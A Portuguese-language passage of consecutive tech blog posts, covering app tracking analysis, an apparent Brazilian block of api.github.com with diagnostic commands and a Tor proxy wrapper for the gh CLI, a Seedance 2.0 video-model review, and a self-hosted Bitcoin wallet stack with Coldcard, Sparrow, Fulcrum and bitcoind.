• Resete seu ID de anúncio de vez em quando (e, no Android, dá pra escolher “excluir ID de publicidade” de vez). Não mata o fingerprint, mas quebra parte do rastro.
• Desconfie de “encontrar amigos”. É o gatilho de upload de contatos. Você entrega a rede social inteira das pessoas que confiaram seu número a você.
• Prefira a versão web quando der. Navegador com bloqueador de rastreador exposto menos fingerprint que o app nativo, que tem acesso a sensores e sinais que o browser não dá.
• Aceite o trade-off conscientemente. A questão não é virar paranoico e desinstalar tudo. É saber o preço. Se você acha o TikTok divertido o suficiente pra pagar com seu fingerprint, ótimo, é uma decisão informada. O problema é pagar sem saber que está pagando.

O ponto do post

Nada disso prova ou desprova que um app específico é 100% seguro. Análise estática mostra o que o app é capaz de fazer, o que está construído dentro dele; só a captura de tráfego ao vivo, com aparelho rooteado e proxy MITM, mostraria o que de fato sai pela rede em cada requisição. Eu não fui até lá. Isso aqui é um vislumbre, não um veredito.

E é exatamente esse o ponto. Hoje, com um LLM bom e uma tarde livre, qualquer desenvolvedor curioso consegue abrir o próprio celular e ver o que está rodando ali dentro, sem depender da opinião de um influenciador de tecnologia ou de manchete alarmista. As três análises completas estão no GitHub (TikTok, Clash of Kings, gov.br) com o passo a passo pra reproduzir. Pega um app que você usa todo dia e faz o mesmo. É a coisa mais próxima de ler o rótulo antes de comer que a gente tem no mundo do software.

O Ayub comentou no X que há todos os indícios típicos de bloqueio nacional determinado pela Anatel contra api.github.com. No mesmo contexto, o tweet citado por ele mostrava api.github.com resolvendo para 4.228.31.149, mas sem rota funcionando. O autor dizia ter testado por VIVO, Claro e Oracle, e que só funcionava via VPN de Miami. Ou seja: não parece “meu Wi-Fi caiu”. Parece bloqueio no caminho.

Segundo o Ayub, esse tipo de coisa costuma acontecer em ondas de bloqueios, muitas vezes em reuniões de quarta-feira com grandes operadoras, dentro desse mecanismo brasileiro de bloquear endereços sob pretexto de combater pirataria. O problema é o efeito colateral: em vez de derrubar só o alvo, derruba pedaço legítimo de infraestrutura. Hoje foi a API do GitHub. Amanhã pode ser qualquer outra coisa que seu trabalho depende.

E sim, eu confirmei daqui.

Como saber se você foi afetado

Primeiro, teste se o site principal abre:

curl -4 -I --connect-timeout 8 --max-time 12 https://github.com/

Aqui funcionou. Depois teste a API:

curl -4 -I --connect-timeout 8 --max-time 12 https://api.github.com/

Aqui deu:

curl: (28) Connection timed out after 8002 milliseconds

Agora veja pra qual IP seu sistema está resolvendo:

getent ahostsv4 api.github.com

No meu caso:

4.228.31.149    STREAM api.github.com
4.228.31.149    DGRAM
4.228.31.149    RAW

E o gh também depende dessa API. Então comandos como estes podem travar:

gh api rate_limit
gh pr list
gh issue list

Se você é desenvolvedor e de repente gh parou, seus scripts de release pararam, seu bot que lista PRs parou, ou aquele CLI que consulta issues começou a ficar pendurado, pode ser isso. Não é bug seu. É a sua rota até api.github.com sendo jogada no buraco.

Primeiro tente DNS 9.9.9.9

Algumas pessoas comentaram que trocar o DNS para Quad9, 9.9.9.9, poderia contornar. Faz sentido testar, porque alguns bloqueios são feitos via DNS: o provedor responde um IP errado, NXDOMAIN, ou manda para um buraco. Se o problema for só o DNS do seu provedor, trocar de DNS resolve.

Teste sem mudar nada no sistema:

dig @9.9.9.9 +short api.github.com A

No meu caso, não resolveu. O Quad9 também retornou:

4.228.31.149

E forçar esse IP no curl continuou dando timeout:

curl -4 -I --connect-timeout 8 --max-time 12 \
  --resolve api.github.com:443:4.228.31.149 \
  https://api.github.com/

Resultado:

curl: (28) Connection timed out after 8002 milliseconds

Então, no meu link, 9.9.9.9 não resolveu. Mas teste no seu. Se o seu provedor está apenas envenenando DNS, pode funcionar.

No Arch com NetworkManager, seria algo assim:

sudo pacman -S bind-tools curl

nmcli con show --active
sudo nmcli con mod "NOME DA SUA CONEXÃO" \
  ipv4.ignore-auto-dns yes \
  ipv4.dns "9.9.9.9 149.112.112.112"
sudo nmcli con down "NOME DA SUA CONEXÃO"
sudo nmcli con up "NOME DA SUA CONEXÃO"

No Ubuntu, a ideia é a mesma. Instale as ferramentas e ajuste pelo NetworkManager:

sudo apt install dnsutils curl
nmcli con show --active

Ou use a tela de rede do GNOME/KDE e coloque DNS manual 9.9.9.9 e 149.112.112.112 na conexão. Depois desconecte e conecte de novo.

Teste de novo:

dig +short api.github.com A
curl -4 -I --connect-timeout 8 --max-time 12 https://api.github.com/

Se funcionar, ótimo. Você terminou aqui.

Se continuar dando timeout, o bloqueio não está só no DNS. Aí precisa rotear a conexão por outro caminho.

Por que eu não gosto da gambiarra de IP fixo

Outra sugestão que vi foi colocar IPs manualmente no DNS local, tipo Pi-hole, Unbound, /etc/hosts, dnsmasq, essas coisas. Exemplo: “resolve api.github.com pra tal IP que funciona”.

Isso pode funcionar por algumas horas. Eu não gosto.

GitHub é infraestrutura grande. IP muda. Rota muda. Balanceamento muda. Região muda. O IP que funciona pra uma pessoa em Miami pode ser ruim pra você em São Paulo. O IP que funciona hoje pode cair amanhã. E se o bloqueio for por rota blackhole no provedor, trocar DNS para outro IP pode só trocar um buraco por outro.

Pi-hole é ótimo pra rede doméstica. Unbound é ótimo. /etc/hosts salva em emergência. Mas fixar IP de serviço grande como GitHub é pedir pra esquecer uma gambiarra invisível e perder duas horas daqui a um mês tentando entender por que só a sua máquina não funciona.

Use DNS alternativo como teste. Use IP fixo só como curativo temporário e documente onde mexeu.

Fallback: proxy SOCKS só para ferramentas do GitHub

Minha solução foi fazer o mínimo invasivo: um wrapper que sobe um SOCKS local via Tor e executa só o comando que eu quero por ele. Não roteia o sistema inteiro. Não mexe no navegador. Não altera pacote, Steam, banco, nada. Só gh, ou qualquer ferramenta que eu chamar explicitamente.

No meu caso, o wrapper está em ~/.config/zsh/bin/github-proxy e o alias em ~/.config/zsh/aliases faz:

alias gh='$HOME/.config/zsh/bin/github-proxy gh'

O wrapper é este:

#!/bin/bash
set -euo pipefail

proxy_host="127.0.0.1"
proxy_port="9050"
tor_dir="${XDG_RUNTIME_DIR:-/tmp}/github-proxy-tor"
tor_rc="$tor_dir/torrc"
tor_log="$tor_dir/tor.log"

if [[ $# -eq 0 ]]; then
  echo "usage: github-proxy <command> [args...]" >&2
  exit 2
fi

if ! ss -ltn "sport = :$proxy_port" | grep -q "$proxy_host:$proxy_port"; then
  mkdir -p "$tor_dir"
  : >"$tor_rc"
  tor -f "$tor_rc" --SocksPort "$proxy_host:$proxy_port" --DataDirectory "$tor_dir/data" >"$tor_log" 2>&1 &

  for _ in {1..60}; do
    if grep -q 'Bootstrapped 100%' "$tor_log"; then
      break
    fi
    if ! kill -0 "$!" 2>/dev/null; then
      echo "github-proxy: tor exited before bootstrap; see $tor_log" >&2
      exit 1
    fi
    sleep 1
  done

  if ! grep -q 'Bootstrapped 100%' "$tor_log"; then
    echo "github-proxy: timed out waiting for tor bootstrap; see $tor_log" >&2
    exit 1
  fi
fi

export HTTPS_PROXY="socks5h://$proxy_host:$proxy_port"
export HTTP_PROXY="socks5h://$proxy_host:$proxy_port"
export ALL_PROXY="socks5h://$proxy_host:$proxy_port"

exec "$@"

Repare no socks5h. Esse h importa. Ele faz a resolução DNS pelo proxy, não pela sua rede local. Se você usa socks5:// normal, dependendo da biblioteca, o DNS ainda pode acontecer localmente antes de passar pelo proxy. Com socks5h://, a ideia é: “leva o hostname até o outro lado e resolve lá”.

Instalando no Arch

No Arch:

sudo pacman -S tor github-cli iproute2
mkdir -p ~/.local/bin

Crie o script:

nano ~/.local/bin/github-proxy

Cole o wrapper acima e dê permissão:

chmod +x ~/.local/bin/github-proxy

Teste direto:

~/.local/bin/github-proxy gh api rate_limit --jq .resources.core.limit

Conta autenticada normalmente retorna:

5000

Foi o que aconteceu aqui. Direto dava timeout. Pelo wrapper, gh api rate_limit --jq .resources.core.limit retornou 5000.

Agora adicione um alias no seu shell.

ZSH:

echo "alias gh='$HOME/.local/bin/github-proxy gh'" >> ~/.zshrc
source ~/.zshrc

Bash:

echo "alias gh='$HOME/.local/bin/github-proxy gh'" >> ~/.bashrc
source ~/.bashrc

Teste:

gh api rate_limit --jq .resources.core.limit
gh pr list

Ubuntu

No Ubuntu, o pacote do Tor é fácil:

sudo apt update
sudo apt install tor iproute2 curl

Para o GitHub CLI, se o pacote gh estiver disponível na sua versão:

sudo apt install gh

Se não estiver, siga a instalação oficial do GitHub CLI para Ubuntu/Debian. O resto é igual: crie ~/.local/bin/github-proxy, dê chmod +x, e coloque o alias no .bashrc ou .zshrc.

Alternativas melhores que Tor

Tor funcionou e é conveniente, mas não é a única opção. Às vezes é lento. Às vezes algum serviço encrenca com saída Tor. Para gh api e listar PR, tudo bem. Para uso pesado, talvez você queira algo mais previsível.

Opções razoáveis:

• VPN normal: Proton, Mullvad, IVPN, WireGuard próprio. Roteia tudo ou usa split tunneling se você souber configurar.
• Tailscale com exit node fora do Brasil: limpo, se você tiver uma máquina confiável fora ou uma VPS.
• SSH SOCKS para uma VPS: ssh -N -D 127.0.0.1:9050 usuario@seu-vps. Depois use o mesmo HTTPS_PROXY=socks5h://127.0.0.1:9050.
• Proxy corporativo: se sua empresa tem saída fora do Brasil, configure só as ferramentas que precisam.

O cuidado aqui é não sair mexendo em tudo ao mesmo tempo. Primeiro prove que api.github.com direto falha. Depois prove que via outro caminho funciona. Só então automatize.

Ajustando ferramentas próprias: ghpending

Esse bloqueio me pegou também num utilitário meu: ghpending. Eu já falei dele no post “Criei um CLI pra Checar Pendências no Meu GitHub: ghpending”. Ele lista issues e pull requests abertos nos meus repositórios, pra eu saber onde tem gente esperando resposta.

O problema é óbvio: ele usa a API do GitHub. Se api.github.com cai no buraco, ele cai junto.

Então adicionei fallback de proxy. O ghpending agora lê GITHUB_TOKEN como antes, mas também tenta usar proxy SOCKS nesta ordem:

1. GHPENDING_GITHUB_PROXY, se você quiser forçar um proxy específico.
2. HTTPS_PROXY, https_proxy, ALL_PROXY ou all_proxy, se forem socks5:// ou socks5h://.
3. Um SOCKS local em 127.0.0.1:9050, se estiver escutando.
4. Se nada disso existir, tenta direto.

No README ficou assim:

GITHUB_TOKEN=$(gh auth token) ghpending

E, para proxy:

GHPENDING_GITHUB_PROXY=socks5h://127.0.0.1:9050 ghpending

Ou simplesmente rode pelo wrapper:

~/.local/bin/github-proxy ghpending

Meu wrapper sobe Tor em 127.0.0.1:9050; o ghpending detecta esse proxy e usa para chamadas à API. Se você não está bloqueado, ele continua funcionando direto. Se você está bloqueado, ele tem um caminho de fuga.

Isso é o tipo de fallback que agora todo dev brasileiro deveria considerar para ferramenta que depende de API estrangeira. Não porque é bonito. Porque a internet brasileira está ficando imprevisível.

O problema político

No fim da thread, o Ayub lembrou que, por causa desses bloqueios colaterais sigilosos, já haveria cerca de 250 milhões de endereços bloqueados na internet brasileira. Ele também linkou uma apresentação sobre o panorama dos bloqueios no Brasil. Em outro tweet do mesmo fio, ele diz que autoridades defendem sigilo como única alternativa para combater crimes.

Eu não compro essa desculpa.

Bloqueio sigiloso de infraestrutura crítica, sem transparência, sem contraditório público, sem lista auditável, sem explicação de escopo, é censura operacional. Na minha leitura, é ilegal justamente por fugir do rito público e auditável que deveria existir quando o Estado manda quebrar acesso à internet. Pode ter começado com pirataria de TV box. Pode ter discurso bonito. Mas o mecanismo está aí: alguém aperta botão, operadoras aplicam bloqueio, usuários legítimos descobrem só quando ferramenta de trabalho para.

Hoje, o efeito colateral bateu em desenvolvedor honesto tentando trabalhar com GitHub. Amanhã bate em pacote de Linux, registry de container, CDN, API de pagamento, serviço de autenticação. Aí todo mundo corre pra VPN, Tor, proxy, DNS alternativo, /etc/hosts, Pi-hole. Parabéns: estamos recriando, aos poucos, o manual de sobrevivência de uma internet censurada.

Não precisa exagerar na metáfora. Ainda não somos a China. Mas o cheiro é o mesmo: bloqueio centralizado, opaco, com dano colateral, e usuário comum tendo que aprender bypass pra trabalhar.

Se você foi afetado, documente. Rode os comandos. Salve outputs. Abra issue no seu provedor. Reclame com dados. Compartilhe workaround, mas não normalize. Bypass é curativo. O problema real é um Estado que se dá o poder de quebrar pedaços da internet em silêncio.

E se você só queria rodar gh pr list pra revisar um pull request: bem-vindo à infraestrutura brasileira de 2026.

A proposta é forte. É um modelo multimodal de geração de vídeo que aceita simultaneamente texto, até 9 imagens de referência, 3 clipes de vídeo de referência e 3 trilhas de áudio numa mesma chamada. Em cima disso, ele gera saída de até 15 segundos com áudio sincronizado nativo (diálogo, efeitos, música ambiente), suporta extensão de vídeo, edição pontual de personagens e objetos, e tem planejamento de câmera dirigido por prompt. A ByteDance posiciona o modelo pra publicidade comercial, vídeos explicativos, produção de filme, e-commerce e gaming. Ou seja: pra criador de conteúdo que quer escapar do estágio “meme aleatório” e começar a entregar peça com uso profissional.

Pra quem quer ver o modelo em ação antes de continuar lendo, recomendo essa visão geral feita pelo Stefan, do canal Stefan 3D AI Lab, que eu já tinha indicado lá no post sobre modelagem 3D com IA:

A interface principal é o “Photo Studio” da Dreamina, onde você escolhe o modo de geração e empilha as referências. Por enquanto eu testei só o modo de multi-referência padrão.

Teste 1: lip-sync com áudio do podcast

Meu primeiro teste foi simples. Peguei alguns segundos do bumper de abertura do meu podcast The M.Akita Chronicles, que é gerado com IA via pipeline ElevenLabs v3, passei o meu novo avatar em estilo anime como imagem de referência, e pedi pro Seedance fazer o personagem sincronizar boca e gesticular em cima daquele áudio.

O resultado é decente. Saiu tudo de uma imagem fixa só. O lip-sync acompanha a fala razoavelmente bem, a expressão tem alguma vida, o gesto da mão entra no momento certo. Mas é o tipo de coisa que rende clipinho curto pro YouTube ou Instagram. Não é animação que você usaria como abertura de um vídeo profissional.

A função que de fato importa: vídeo de referência

E aqui eu chego no que eu considero o único uso de verdade desses modelos pra trabalho sério: usar vídeo como referência. Texto sozinho nunca vai ser preciso o suficiente. Você pode descrever a cena com o vocabulário que quiser, mudar adjetivo, especificar lente, ângulo, framing, e ainda assim cada geração vai te dar algo um pouco diferente. É loteria. Bom pra meme, péssimo pra produção.

A maioria dos amadores se impressiona com qualquer clipe aleatório que sai bonito de primeira, e enche o feed do X e do Instagram com isso. Só que aquilo não é controle. É sorte. Pra cinema, pra publicidade, pra abertura de programa, pra qualquer coisa onde a próxima cena precisa casar com a anterior, você tem que conseguir dizer pro modelo: “faça exatamente esse movimento, com exatamente essa câmera”. E é aí que o vídeo de referência muda o jogo, porque ele substitui horas de modelagem 3D, rigging, animação e renderização que custariam fortunas em estúdio.

Pro meu teste, eu reciclei o modelo que já tinha gerado lá no post sobre AI 3D com Hunyuan e Nano Banana, onde testei o quanto dá pra modelar 3D do nada com prompt e ainda imprimir em 3D. Mas pra uma referência mais cinematográfica eu queria algo com animação pronta. Baixei do Sketchfab o modelo Darth Talon, que tem uma sequência curta de movimento bem feita, só porque achei legal.

Importei o FBX no Blender, montei câmera e luz básica, e fiz uma renderização rápida no Cycles. Nada bonito, é só um esboço pra servir de referência de movimento e enquadramento.

Subi pro Seedance esse render como vídeo de referência junto com três imagens em t-pose do personagem (frente, costas, lado esquerdo) pra dar consistência visual:

Primeira tentativa, com prompt genérico:

Não ficou ruim. O personagem mantém identidade, a iluminação melhorou bastante em cima do meu render bruto, e o vídeo é coerente. Só que o movimento e a posição de câmera divergiram bastante da referência. O modelo entendeu “ali tem um personagem parecido com esse fazendo algo parecido com aquilo”, e improvisou o resto.

Lembrei do tutorial do Stefan: o truque é colocar literalmente no prompt algo como Follow exact motion and camera from reference video. Tentei de novo:

Bem melhor. Está claramente seguindo a coreografia da referência, o ângulo de câmera bate em vários momentos, e a aparência do personagem ficou mais polida que tudo que eu poderia renderizar à mão num esboço de Cycles. Mas ainda assim não é cópia exata do meu render. Em alguns frames o modelo ainda toma liberdade com timing, posição e enquadramento. Existem outras técnicas de prompting e parâmetros pra ajustar, mas eu parei aqui pra registrar essas primeiras impressões enquanto o lançamento está fresco.

ComfyUI, Runway e o resto do ecossistema

O Seedance 2.0 também já saiu como nó do ComfyUI na nuvem, o que ajuda muito quem quer encaixar a geração dentro de pipeline maior sem ficar pulando entre interface web. Pra quem já tem pipeline de geração de imagem montado em ComfyUI, isso é bem prático.

E pra quem quer um caminho com volume sem pensar em crédito por geração, a Runway está oferecendo o Seedance 2.0 dentro do plano Unlimited, que sai por volta de US$ 76/mês no anual ou US$ 95/mês no mensal. “Unlimited” no caso significa sem cobrança por geração, mas com prioridade de fila menor em horários de pico e cota de armazenamento de saída. Pra quem precisa iterar muito, esse modelo de assinatura faz bem mais sentido que crédito avulso.

A questão do preço

A precificação direta do Seedance é em crédito. O plano Standard sai por US$ 24,90/mês no anual ou US$ 49,90/mês no mensal, e te dá 2500 créditos por mês. Cada 10 segundos de vídeo gerado consome 6 créditos.

A conta é cruel. Com 2500 créditos no Standard, dá pra rodar cerca de 416 gerações de 10 segundos por mês. Parece muito, mas lembra do meu próprio teste: foram pelo menos duas tentativas pra chegar perto do que eu queria, e mesmo assim não foi cópia exata do que pedi. Na prática, pra cada cena que você quer entregar bem, é razoável assumir 3 a 5 regerações. Isso derruba o número útil pra algo na faixa de 80 a 140 cenas curtas por mês. Pode até dar pra um criador solo fazendo conteúdo curto. Não dá pra produção que precisa de minutos contínuos de vídeo polido.

Os planos superiores escalam linearmente o número de créditos, mas o problema continua: no preço de hoje, o Seedance 2.0 ainda é ferramenta pra clipe curto e meme bem-feito, ou pra prototipagem de cena antes de mandar pra estúdio de verdade. Não substitui produção profissional contínua. Pra esse perfil, na prática a Runway com Unlimited sai mais em conta. Confira a tabela de preços completa aqui.

O que ninguém quer falar: restrição e deepfake

Tem dois pontos que eu não quero deixar de fora. O primeiro: o Seedance 2.0 demorou a chegar pro grande público em parte porque a ByteDance está sendo bem mais conservadora que a concorrência na hora de moderar. O modelo bloqueia geração com referência de pessoas reais (celebridades, políticos, figuras públicas) e filtra personagens com IP forte de Disney, Marvel/DC, Nintendo e marcas registradas em geral. Quem quiser detalhe sobre o que passa e o que não passa, e por que a empresa optou por essa postura, tem esse artigo da MindStudio explicando os limites. Faz sentido: a ByteDance opera em dezenas de jurisdições, está sob escrutínio regulatório global, e ainda tem o tema espinhoso de Hollywood pressionando o setor inteiro com ações de copyright sobre uso de material protegido em treinamento e geração. O lançamento atrasou e veio com filtro pesado justamente por isso.

Segundo ponto, e mais importante: pra você, leitor comum, a mensagem é que deepfake deixou de ser hipótese. Foto na internet já não vale como prova há um bom tempo, porque modelos de imagem como Nano Banana, Hunyuan e congêneres entregam realismo que engana qualquer um. Agora vídeo está na mesma categoria. O que a gente acabou de ver acima, onde com algumas referências e dois prompts dá pra gerar uma cena animada coerente em minutos, é só o começo. A pessoa comum, sem treino, não vai mais conseguir distinguir vídeo gerado de vídeo real só batendo o olho. E os filtros do Seedance só barram o uso aberto e legal. Quem quer fazer mau uso vai sempre encontrar caminho com modelo open source, com workaround, com plataforma menos rígida. Esse é o mundo real agora, e quanto antes a gente assumir isso socialmente, melhor.

Não, isso não substitui artista de verdade

Já vou cortar o discurso de sempre antes que ele apareça nos comentários. Não, o Seedance não substitui artista de VFX, diretor, editor, nada disso. Isso aqui é martelo. A ferramenta é a mesma pra todo mundo. O que sai do outro lado depende inteiramente de quem está segurando ela.

Quem estudou enquadramento, ritmo, continuidade, direção de arte, edição, cor, composição, vai usar o Seedance pra acelerar 10 vezes o trabalho que já sabia entregar. Quem não estudou nada disso vai produzir 10 vezes mais rápido o mesmo meme de Instagram que já produzia. A IA reflete quem você é. Se você é bom artista, a ferramenta multiplica. Se você só acha que é bom, a ferramenta multiplica a mesmice. Não tem milagre.

E é por isso que essa onda de “agora todo mundo vira diretor de cinema com IA” é a mesma ladainha que ouvimos com câmera digital, com Photoshop, com After Effects, com Premiere e com qualquer ferramenta poderosa que apareceu nos últimos 30 anos. A barreira técnica cai, a barreira de gosto, repertório e estudo continua exatamente onde estava. Quem é bom fica mais produtivo. Quem não é continua precisando de gente de verdade pra fazer trabalho de verdade.

Onde isso vai parar

Seedance 2.0 é claramente um passo na direção certa, mas ainda não é a ferramenta que substitui produção profissional. Texto sozinho continua impreciso, vídeo de referência ajuda mas ainda escapa, e o preço por minuto útil de saída polida é alto pro que entrega. A boa notícia é que a história se repete: Google já tem o Veo, Runway está com modelo próprio e ainda revendendo Seedance, Kling e Hailuo da China continuam puxando, e os modelos open source vão ganhando tração. A OpenAI tinha o Sora, mas descontinuou. Conforme a competição aperta, qualidade sobe e preço cai. Em um ou dois anos a gente deve estar olhando pra esse post e achando primitivo o que acabei de mostrar. Como sempre.

Antes de mais nada: isto aqui não é texto de evangelismo nem chamada pra day trade. Muito pelo contrário. No momento em que escrevo, em 1 de abril de 2026, o Bitcoin está na faixa de US$ 68 mil e perto de R$ 391 mil, abaixo dos picos de 2025. Muita gente olha pra isso e entra em pânico ou começa a fantasiar trade alavancado. Eu acho as duas reações erradas. Existe uma tese de “super cycle” baseada em demanda institucional, ETFs spot e efeito defasado do halving. Pode ser. Pode não ser. O que eu sei é que candle de curto prazo não muda a parte que realmente me interessa: infraestrutura. Se você precisa de alavancagem pra “acelerar ganhos”, você provavelmente está só acelerando sua chance de ser liquidado.

Pra mim, a pergunta útil não é “vai subir amanhã?”. A pergunta útil é: “se eu quiser guardar e movimentar Bitcoin sem terceirizar tudo pra exchange, wallet web e API pública, como eu monto isso direito aqui em casa?”

O problema real: conveniência demais custa privacidade demais

O fluxo padrão da maioria das pessoas é simples: compra em exchange, deixa parado lá, ou então instala uma wallet qualquer no celular e pronto. Funciona. Também concentra risco e vaza metadado pra todo lado.

Se você deixa saldo em exchange, você tem risco de custódia. Se você usa wallet desktop apontando pra servidor público, você tem risco de privacidade. Se você usa hardware wallet de forma relaxada, comprada no Mercado Livre de segunda mão, você tem risco de supply chain. Se mistura tudo isso com pressa, pior ainda.

Por isso eu acabei chegando numa combinação que, pra quem é técnico e quer montar a própria infra, me parece bastante sólida:

• Coldcard pro armazenamento frio
• Sparrow Wallet no Linux como carteira desktop e coordenadora das transações
• Fulcrum no home server como servidor Electrum privado
• bitcoind no mesmo servidor como full node de verdade, validando a cadeia e fazendo broadcast sem depender de terceiros

Não é o caminho mais fácil. Mas esse é justamente o ponto. Segurança de verdade raramente vem do caminho mais fácil.

Os conceitos que confundem quem está começando

Antes de entrar no stack, vale alinhar quatro termos que normalmente são jogados no ar como se todo mundo já soubesse:

Em português claro, o fluxo fica assim:

1. A Sparrow, no desktop, monta a transação.
2. Essa transação vira um PSBT.
3. O PSBT vai pra Coldcard por microSD.
4. A Coldcard assina offline.
5. O arquivo assinado volta pra Sparrow.
6. A Sparrow faz o broadcast via seu próprio servidor, não via infraestrutura pública de terceiros.

É isso que as pessoas querem dizer quando falam em “airgapped workflow”. Não é magia. É só separação de papéis feita de forma disciplinada.

Coldcard: signer frio, offline, chato do jeito certo

Eu uso Coldcard como cold storage. O motivo é simples: ela foi pensada desde o começo como dispositivo Bitcoin-only, com foco forte em operação airgapped por microSD. Isso já elimina uma categoria enorme de “comodidades” que muita gente acha prática, mas que eu prefiro não ter perto das minhas chaves.

Na prática, a Coldcard fica com a parte mais importante do sistema: a chave privada. Ela não precisa saber de servidor, de Electrum, de API pública, de exchange, de nada disso. O trabalho dela é um só: assinar transação offline.

Esse desacoplamento é ótimo por dois motivos:

• O desktop pode ser conveniente sem virar ponto único de desastre.
• O signer continua isolado mesmo se sua máquina principal der problema.

E aqui entra um aviso que eu realmente quero deixar em caixa alta mental:

Nunca compre hardware wallet de segunda mão. Nunca.

Não é exagero. Você não tem como saber, de verdade, o que aconteceu com aquele dispositivo antes de chegar na sua mão. Pode ter seed pré-gerada, firmware adulterado, componente trocado, embalagem refeita, supply chain comprometida, ou simplesmente algum truque bobo esperando você baixar a guarda. Hardware wallet é uma daquelas categorias em que economizar R$ 300 comprando usado é insanidade. Compre sempre do site oficial do fabricante ou de revendedor oficialmente autorizado pelo fabricante. E mesmo assim confira lacres, procedência e firmware.

Dá pra fazer parecido com um celular velho?

Dá. Mas eu trataria isso como alternativa de estudo ou de orçamento, não como substituto óbvio de uma Coldcard.

O caminho mais sério hoje pra isso é o AirGap Vault, que foi justamente desenhado pra usar um smartphone antigo como signer offline, via QR code, mantendo o aparelho fora da rede. A ideia é boa, e pra muita gente pode ser a porta de entrada correta.

Mas tem trade-off:

• smartphone velho não foi desenhado como hardware wallet dedicada
• histórico anterior do aparelho importa
• bateria envelhecida, tela ruim e Android abandonado são problemas reais
• o modelo de ameaça é menos claro do que num dispositivo dedicado

Então minha visão é simples: dá pra usar? Dá. Eu recomendaria como solução principal pra guardar patrimônio relevante? Não. Pra isso eu ainda prefiro hardware dedicado comprado da fonte correta.

Sparrow Wallet: a melhor peça de desktop desse quebra-cabeça

No Linux, eu uso Sparrow Wallet. Pra mim, hoje, ela é uma das melhores peças de software nesse ecossistema.

O que eu gosto nela:

• funciona muito bem em desktop Linux
• suporta hardware wallets direito
• entende PSBT sem drama
• deixa muito claro o que está acontecendo na transação
• é ótima como watch-only wallet

No meu fluxo, a Sparrow faz três coisas:

1. Guarda a carteira watch-only.
2. Monta a transação com os outputs e taxas.
3. Recebe de volta a assinatura da Coldcard e faz o broadcast.

Essa separação é elegante. O desktop vira coordenador. O signer continua frio.

Por que Coldcard + Sparrow funciona tão bem

Essa combinação é boa porque cada peça faz o que faz melhor:

• a Coldcard protege a chave
• a Sparrow organiza o uso humano da carteira
• o servidor cuida da infraestrutura

Muita wallet tenta fazer tudo. Eu prefiro esse desenho modular. É menos “mágico”, mais explícito, e mais fácil de raciocinar sobre ele sem autoengano.

Se eu estou no desktop, eu quero visibilidade. Se eu estou no signer, eu quero isolamento. Se eu estou no servidor, eu quero validação e índice local. Essa divisão é limpa.

O problema da Sparrow sem infra própria

Agora vem o detalhe importante. A Sparrow sozinha não resolve privacidade.

Se você instalar, abrir e simplesmente usar servidores públicos, alguém do outro lado passa a aprender bastante coisa sobre sua carteira: conjunto de endereços, xpubs ou derivadas, saldo, histórico, comportamento de consulta, broadcast. Não é custódia, mas ainda é exposição.

Esse é o buraco que o Fulcrum preenche.

Fulcrum: o servidor Electrum privado da casa

Fulcrum é um servidor Electrum. Em vez de deixar a Sparrow perguntando coisas pra servidor público de terceiros, ela pergunta pro meu próprio servidor.

Na prática, isso significa:

• consulta de saldo local
• histórico local
• descoberta de endereços local
• broadcast local

Ou seja: a wallet desktop para de “telefonar” pro mundo toda vez que você abre o programa.

No meu setup atual, a Sparrow aponta pra um Fulcrum rodando no home server da LAN, com porta 50001 na rede interna e 50002 com TLS.

E por que Fulcrum não basta sozinho

Porque Fulcrum não substitui um full node. Ele indexa em cima de um full node.

Quem realmente valida bloco, regra de consenso, script, transação e cadeia é o bitcoind. O Fulcrum fica na frente como camada de índice, porque Bitcoin Core puro não foi feito pra servir carteira desktop com esse tipo de consulta rápida.

Então a arquitetura correta é:

Coldcard (offline signer)
        ^
        | microSD / PSBT
        v
Sparrow Wallet (desktop watch-only + coordinator)
        |
        v
Fulcrum (Electrum server privado)
        |
        v
bitcoind (full node)

O que eu subi no home server de verdade

No meu home server, a stack mora numa pasta dedicada do Docker Compose e é composta por dois containers:

• bitcoin-bitcoind
• bitcoin-fulcrum

O compose é simples. E isso é bom. Infra sensível não ganha nada ficando esperta demais no YAML.

O desenho principal é este:

services:
  bitcoin:
    image: lncm/bitcoind:v28.0
    container_name: bitcoin-bitcoind
    user: "${BITCOIN_UID}:${BITCOIN_GID}"
    restart: always
    security_opt:
      - label:disable
    volumes:
      - /srv/bitcoin/data:/data/.bitcoin
    ports:
      - "8333:8333"
    stop_grace_period: 5m
    healthcheck:
      test: ["CMD", "bitcoin-cli", "-datadir=/data/.bitcoin", "ping"]
      interval: 30s
      timeout: 10s
      retries: 5
      start_period: 60s

  fulcrum:
    image: cculianu/fulcrum:latest
    container_name: bitcoin-fulcrum
    restart: always
    security_opt:
      - label:disable
    volumes:
      - /srv/bitcoin/fulcrum:/data
      - /srv/bitcoin/data:/bitcoin:ro
    command: ["Fulcrum", "/data/fulcrum.conf"]
    ports:
      - "50001:50001"
      - "50002:50002"
    depends_on:
      bitcoin:
        condition: service_healthy

No meu caso, a restrição do 50001 à LAN acontece na camada de rede do host. O YAML acima é o esqueleto do stack, não a política inteira de firewall.

As partes mais importantes disso:

• restart: always porque isso é serviço de longa duração
• volume explícito pra não perder estado
• user: "${BITCOIN_UID}:${BITCOIN_GID}" porque o diretório persistente precisa casar com o ownership real do storage, então eu prefiro fixar UID/GID de forma explícita em vez de confiar no default da imagem
• o RPC não é publicado no host; ele fica só na rede interna do Compose, que é tudo o que o Fulcrum precisa
• o healthcheck usa o próprio .cookie local do Bitcoin Core, então não precisa espalhar senha fixa em comando
• o Fulcrum monta o datadir do node em leitura apenas para autenticar via .cookie sem inventar credencial paralela
• no fulcrum.conf, isso vira uma configuração simples: falar com bitcoin:8332 e ler o .cookie montado, em vez de repetir credencial em texto puro
• security_opt: label:disable porque neste host com MicroOS, SELinux e bind mounts sensíveis eu preferi a rota pragmática de desarmar esse atrito específico em vez de perder tempo brigando com label em volume que já está sendo tratado de forma controlada
• depends_on com service_healthy pra o Fulcrum só subir depois que o RPC do bitcoind responder
• stop_grace_period: 5m porque bitcoind precisa tempo real pra flushar estado em shutdown gracioso

A versão final

Hoje, o desenho que eu quero manter é esse: bitcoind com txindex, dbcache=1024, volume persistente, parada graciosa de 5 minutos, autenticação por .cookie, e Fulcrum na frente servindo Sparrow pela LAN ou via TLS.

A stack atual está assim:

Não me interessa transformar isso em espetáculo. O ponto é mais simples: a infra final precisa ser chata, previsível e estável.

Os tunings que importam de verdade

Não tem mágica aqui. Tem alguns parâmetros que fazem diferença real e um monte de coisa que só serve pra enfeitar compose.

O stop_grace_period: 5m existe porque bitcoind não é container descartável de stateless API. Ele mantém chainstate, índices e cache em memória. Se você não dá tempo pro processo encerrar direito, você cria trabalho desnecessário no próximo start.

